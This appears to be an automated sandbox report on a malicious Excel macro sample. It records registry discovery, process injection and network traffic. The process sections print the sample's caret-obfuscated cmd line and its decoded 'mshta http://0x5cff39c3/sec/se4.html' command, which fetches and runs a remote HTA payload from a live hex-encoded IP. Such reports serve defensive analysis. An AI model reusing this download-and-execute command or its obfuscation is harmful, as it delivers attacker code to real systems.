Malware Analysis Report

2025-03-15 07:24

Sample ID 241111-z4cpyawjfs
Target fecc0c120998d0af6e379b26a249b57ac4f5b504489b211b09f49bd914d879db
SHA256 fecc0c120998d0af6e379b26a249b57ac4f5b504489b211b09f49bd914d879db
Tags
macro xlm discovery
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

fecc0c120998d0af6e379b26a249b57ac4f5b504489b211b09f49bd914d879db

Threat Level: Known bad

The file fecc0c120998d0af6e379b26a249b57ac4f5b504489b211b09f49bd914d879db was found to be: Known bad.

Malicious Activity Summary

macro xlm discovery

Process spawned unexpected child process

Suspicious Office macro

Blocklisted process makes network request

System Location Discovery: System Language Discovery

Suspicious use of SetWindowsHookEx

Suspicious use of WriteProcessMemory

Enumerates system info in registry

Modifies Internet Explorer settings

Suspicious behavior: AddClipboardFormatListener

Checks processor information in registry

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-11 21:15

Signatures

Suspicious Office macro

macro xlm
Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-11 21:15

Reported

2024-11-11 21:18

Platform

win7-20240903-en

Max time kernel

119s

Max time network

121s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\fecc0c120998d0af6e379b26a249b57ac4f5b504489b211b09f49bd914d879db.xls

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\cmd.exe C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\SysWOW64\mshta.exe N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Processes

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\fecc0c120998d0af6e379b26a249b57ac4f5b504489b211b09f49bd914d879db.xls

C:\Windows\SysWOW64\cmd.exe

cmd /c ms^ht^a ht^t^p:/^/0x^5cf^f^39c^3^/^sec^/^se4.html

C:\Windows\SysWOW64\mshta.exe

mshta http://0x5cff39c3/sec/se4.html

Network

Country Destination Domain Proto
RU 92.255.57.195:80 tcp
RU 92.255.57.195:80 tcp

Files

memory/2264-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/2264-1-0x000000007275D000-0x0000000072768000-memory.dmp

memory/2264-2-0x000000007275D000-0x0000000072768000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-11 21:15

Reported

2024-11-11 21:18

Platform

win10v2004-20241007-en

Max time kernel

133s

Max time network

140s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\fecc0c120998d0af6e379b26a249b57ac4f5b504489b211b09f49bd914d879db.xls"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SYSTEM32\cmd.exe C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\system32\mshta.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4772 wrote to memory of 4500 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\SYSTEM32\cmd.exe
PID 4772 wrote to memory of 4500 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\SYSTEM32\cmd.exe
PID 4500 wrote to memory of 396 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\mshta.exe
PID 4500 wrote to memory of 396 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\mshta.exe

Processes

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\fecc0c120998d0af6e379b26a249b57ac4f5b504489b211b09f49bd914d879db.xls"

C:\Windows\SYSTEM32\cmd.exe

cmd /c ms^ht^a ht^t^p:/^/0x^5cf^f^39c^3^/^sec^/^se4.html

C:\Windows\system32\mshta.exe

mshta http://0x5cff39c3/sec/se4.html

Network

Country Destination Domain Proto
US 8.8.8.8:53 roaming.officeapps.live.com udp
GB 52.109.28.47:443 roaming.officeapps.live.com tcp
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 18.89.109.52.in-addr.arpa udp
US 8.8.8.8:53 196.249.167.52.in-addr.arpa udp
US 8.8.8.8:53 47.28.109.52.in-addr.arpa udp
US 8.8.8.8:53 71.209.201.84.in-addr.arpa udp
RU 92.255.57.195:80 tcp
US 8.8.8.8:53 69.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 149.220.183.52.in-addr.arpa udp
US 8.8.8.8:53 104.219.191.52.in-addr.arpa udp
US 8.8.8.8:53 214.143.182.52.in-addr.arpa udp
US 8.8.8.8:53 56.163.245.4.in-addr.arpa udp
US 8.8.8.8:53 241.42.69.40.in-addr.arpa udp
US 8.8.8.8:53 27.117.19.2.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 13.227.111.52.in-addr.arpa udp

Files

memory/4772-0-0x00007FFA4720D000-0x00007FFA4720E000-memory.dmp

memory/4772-1-0x00007FFA071F0000-0x00007FFA07200000-memory.dmp

memory/4772-3-0x00007FFA071F0000-0x00007FFA07200000-memory.dmp

memory/4772-2-0x00007FFA071F0000-0x00007FFA07200000-memory.dmp

memory/4772-4-0x00007FFA071F0000-0x00007FFA07200000-memory.dmp

memory/4772-5-0x00007FFA071F0000-0x00007FFA07200000-memory.dmp

memory/4772-6-0x00007FFA47170000-0x00007FFA47365000-memory.dmp

memory/4772-10-0x00007FFA47170000-0x00007FFA47365000-memory.dmp

memory/4772-12-0x00007FFA47170000-0x00007FFA47365000-memory.dmp

memory/4772-11-0x00007FFA47170000-0x00007FFA47365000-memory.dmp

memory/4772-7-0x00007FFA47170000-0x00007FFA47365000-memory.dmp

memory/4772-14-0x00007FFA47170000-0x00007FFA47365000-memory.dmp

memory/4772-13-0x00007FFA048C0000-0x00007FFA048D0000-memory.dmp

memory/4772-8-0x00007FFA47170000-0x00007FFA47365000-memory.dmp

memory/4772-18-0x00007FFA47170000-0x00007FFA47365000-memory.dmp

memory/4772-17-0x00007FFA47170000-0x00007FFA47365000-memory.dmp

memory/4772-16-0x00007FFA47170000-0x00007FFA47365000-memory.dmp

memory/4772-15-0x00007FFA048C0000-0x00007FFA048D0000-memory.dmp

memory/4772-9-0x00007FFA47170000-0x00007FFA47365000-memory.dmp

memory/4772-21-0x00007FFA47170000-0x00007FFA47365000-memory.dmp

memory/4772-20-0x00007FFA47170000-0x00007FFA47365000-memory.dmp

memory/4772-19-0x00007FFA47170000-0x00007FFA47365000-memory.dmp

memory/4772-22-0x00007FFA47170000-0x00007FFA47365000-memory.dmp

memory/4772-35-0x00007FFA4720D000-0x00007FFA4720E000-memory.dmp

memory/4772-36-0x00007FFA47170000-0x00007FFA47365000-memory.dmp

memory/4772-37-0x00007FFA47170000-0x00007FFA47365000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

MD5 2ab7e1e1b58cb6abd6f0a1a3b3642171
SHA1 821328848043c286b9ad53990747e2078375e626
SHA256 3f87deb7586fcbde69a913a0579cc1a59abcc688d10fc2a4da80b89f912b1ba8
SHA512 2449ace1ebfcf194e899538780b93649caeb170ae4924dbfde66f14fac841c829f4de7a1582333e2115bfa1ecec6009c3f551b8e789a3d04785eb0af4c8176be